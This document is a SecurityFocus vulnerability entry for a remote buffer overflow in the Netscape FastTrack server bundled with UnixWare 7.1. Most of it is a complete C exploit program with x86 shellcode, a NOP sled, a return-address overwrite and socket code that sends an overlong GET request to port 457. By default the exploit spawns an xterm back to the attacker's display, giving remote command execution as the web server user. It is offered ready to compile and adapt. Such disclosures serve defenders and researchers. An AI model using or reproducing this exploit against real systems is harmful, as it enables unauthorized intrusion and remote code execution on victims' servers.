source: http://www.securityfocus.com/bid/908/info
The version of Netscape FastTrack server that ships with UnixWare 7.1 is vulnerable to a remote buffer overlow. By default, the httpd listens on port 457 of the UnixWare host and serves documentation via http. If you pass the server a GET request with more than 367 characters, the stack overflows and the EIP is overwritten making it possible to execute arbitrary code with the privileges of the httpd (usually nobody).
/** uwhelp.c - remote exploit for UnixWare's Netscape FastTrack =
** 2.01a scohelp http service
**
** Runs the command of your choice with uid of the http daemon
** (probably nobody). If there are spaces in your command, use
** ${IFS} instead of a space. httpd handles execve's strangely,
** so your best bet is to just exec an xterm as I've done below.
** Obviously, change the command below to suit your needs.
**
** Compile on UW7.1: cc -o uwhelp uwhelp.c -lnsl -lsocket
** run: ./uwhelp hostname <offset> <size>
**
**
** Brock Tellier [email protected]
**
**/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/errno.h>
#include <netdb.h>
#define BUFLEN 1000
#define NOP 0x90
#define LEN 102
char shell[] = /* Cheez Whiz, [email protected] */
"\xeb\x5f" /* jmp springboard */
"\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
"\xc3" /* ret */
"\x5e" /* popl %esi */
"\x31\xc0" /* xor %eax,%eax */
"\x89\x46\x9d" /* movl %eax,-0x63(%esi) */
"\x88\x46\xa2" /* movb %al,-0x5e(%esi) */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* pushl %eax */
"\xb0\x8d" /* movb $0x8d,%al */
"\xe8\xe5\xff\xff\xff" /* call syscall */
"\x83\xc4\x04" /* addl $0x4,%esp */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* pushl %eax */
"\xb0\x17" /* movb $0x17,%al */
"\xe8\xd8\xff\xff\xff" /* call syscall */
"\x83\xc4\x04" /* addl $0x4,%esp */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* pushl %eax */
"\x56" /* pushl %esi */
"\x8b\x1e" /* movl (%esi),%ebx */
"\xf7\xdb" /* negl %ebx */
"\x89\xf7" /* movl %esi,%edi */
"\x83\xc7\x10" /* addl $0x10,%edi */
"\x57" /* pushl %edi */
"\x89\x3e" /* movl %edi,(%esi) */
"\x83\xc7\x08" /* addl $0x8,%edi */
"\x88\x47\xff" /* movb %al,-0x1(%edi) */
"\x89\x7e\x04" /* movl %edi,0x4(%esi) */
"\x83\xc7\x03" /* addl $0x3,%edi */
"\x88\x47\xff" /* movb %al,-0x1(%edi) */
"\x89\x7e\x08" /* movl %edi,0x8(%esi) */
"\x01\xdf" /* addl %ebx,%edi */
"\x88\x47\xff" /* movb %al,-0x1(%edi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x3b" /* movb $0x3b,%al */
"\xe8\xa4\xff\xff\xff" /* call syscall */
"\x83\xc4\x0c" /* addl $0xc,%esp */
"\xe8\xa4\xff\xff\xff" /* call start */
"\xff\xff\xff\xff" /* DATA */
"\xff\xff\xff\xff" /* DATA */
"\xff\xff\xff\xff" /* DATA */
"\xff\xff\xff\xff" /* DATA */
"\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
"\x2d\x63\xff"; /* DATA */
char *auth=
" HTTP/1.0\r\n"
"Host: localhost:457\r\n"
"Accept: text/html\r\n"
"Accept-Encoding: gzip, compress\r\n"
"Accept-Language: en\r\n"
"Negotiate: trans\r\n"
"User-Agent: xnec\r\n";
char buf[BUFLEN];
char exploit[BUFLEN];
char *cmd = "/usr/X/bin/xterm${IFS}-display${IFS}unix:0.0";
int len,i,sock;
int size = 368;
int offset=300;
int port = 457;
long sp = 0xbffc6004;
//unsigned long sp = (unsigned long)&sp;
struct sockaddr_in sock_a;
struct hostent *host;
void main (int argc, char *argv[]) {
=
if(argc < 2) {
fprintf(stderr, "Error:Usage: %s <hostname> \n", argv[0]);
exit(0);
}
if(argc > 2) offset=atoi(argv[2]);
if(argc > 3) size=atoi(argv[3]);
=
sp = sp + offset;
memset(exploit, NOP, size - strlen(shell) - strlen(cmd)- 6);
/* put size of *cmd into shellcode */
len = strlen(cmd); len++; len = -len;
shell[LEN+0] = (len >> 0) & 0xff;
shell[LEN+1] = (len >> 8) & 0xff;
shell[LEN+2] = (len >> 16) & 0xff;
shell[LEN+3] = (len >> 24) & 0xff;
memcpy(exploit+(size-strlen(shell)-strlen(cmd)-6), shell, strlen(shell))=
;
memcpy(exploit+(size-strlen(cmd)-6), cmd,strlen(cmd));
memcpy(exploit+(size-6),"\xff",1);
=
exploit[size-5]=(sp & 0x000000ff);
exploit[size-4]=(sp & 0x0000ff00) >> 8;
exploit[size-3]=(sp & 0x00ff0000) >> 16;
exploit[size-2]=(sp & 0xff000000) >> 24;
exploit[size-1]=0; =
sprintf(buf, "GET /%s %s%s\r\n\r\n", exploit, auth,exploit);
buf[BUFLEN - 1] = 0;
fprintf(stderr, "httpd remote exploit for UnixWare 7.1\n");
fprintf(stderr, "using addr 0x%x offset %d\n", sp, offset);
fprintf(stderr, "Brock Tellier [email protected]\n");
if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
perror("gethostbyname"); =
exit(-1);
}
=
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
perror("create socket");
exit(-1);
}
sock_a.sin_family=AF_INET;
sock_a.sin_port=htons(port);
memcpy((char *)&sock_a.sin_addr,(char *)host->h_addr,host->h_length);
if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
perror("create connect");
exit(-1);
}
fflush(stdout);
// write exploit
write(sock,buf,strlen(buf));
}